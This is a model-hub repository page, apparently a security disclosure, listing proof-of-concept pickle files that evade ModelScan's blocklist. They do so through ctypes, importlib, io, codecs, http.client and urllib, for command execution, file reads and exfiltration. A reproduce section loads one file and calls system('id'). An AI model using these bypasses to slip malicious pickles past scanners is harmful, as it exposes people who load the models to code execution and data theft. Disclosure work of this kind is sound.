You need to agree to share your contact information to access this model

This repository is publicly accessible, but you have to accept the conditions to access its files and content.

Log in or Sign Up to review the conditions and access this model content.

ModelScan Pickle Blocklist Bypass PoCs

Proof-of-concept pickle files demonstrating multiple bypasses of ModelScan's unsafe_globals blocklist. All files pass modelscan -p <file> with "No issues found" while achieving dangerous capabilities (RCE, file access, network exfil).

Key Findings

File Module Impact ModelScan
poc_ctypes_rce.pkl ctypes.CDLL Arbitrary command execution via libc.system() CLEAN
poc_importlib_import.pkl importlib.import_module Imports any blocked module (defeats entire blocklist) CLEAN
poc_io_file_read.pkl _io.open Arbitrary file read CLEAN
poc_codecs_file_read.pkl codecs.open Arbitrary file read CLEAN
poc_http_exfil.pkl http.client.HTTPSConnection Network data exfiltration CLEAN
poc_urllib_exfil.pkl urllib.request.urlopen HTTP data exfiltration CLEAN

Reproduce

pip install modelscan
modelscan -p pocs/poc_ctypes_rce.pkl     # "No issues found"
python3 -c "import pickle; r=pickle.loads(open('pocs/poc_ctypes_rce.pkl','rb').read()); r.system(b'id')"

Tested on ModelScan 0.8.7, Python 3.12, Ubuntu 24.04.

Downloads last month

-

Downloads are not tracked for this model. How to track
Inference Providers NEW
This model isn't deployed by any Inference Provider. 🙋 Ask for provider support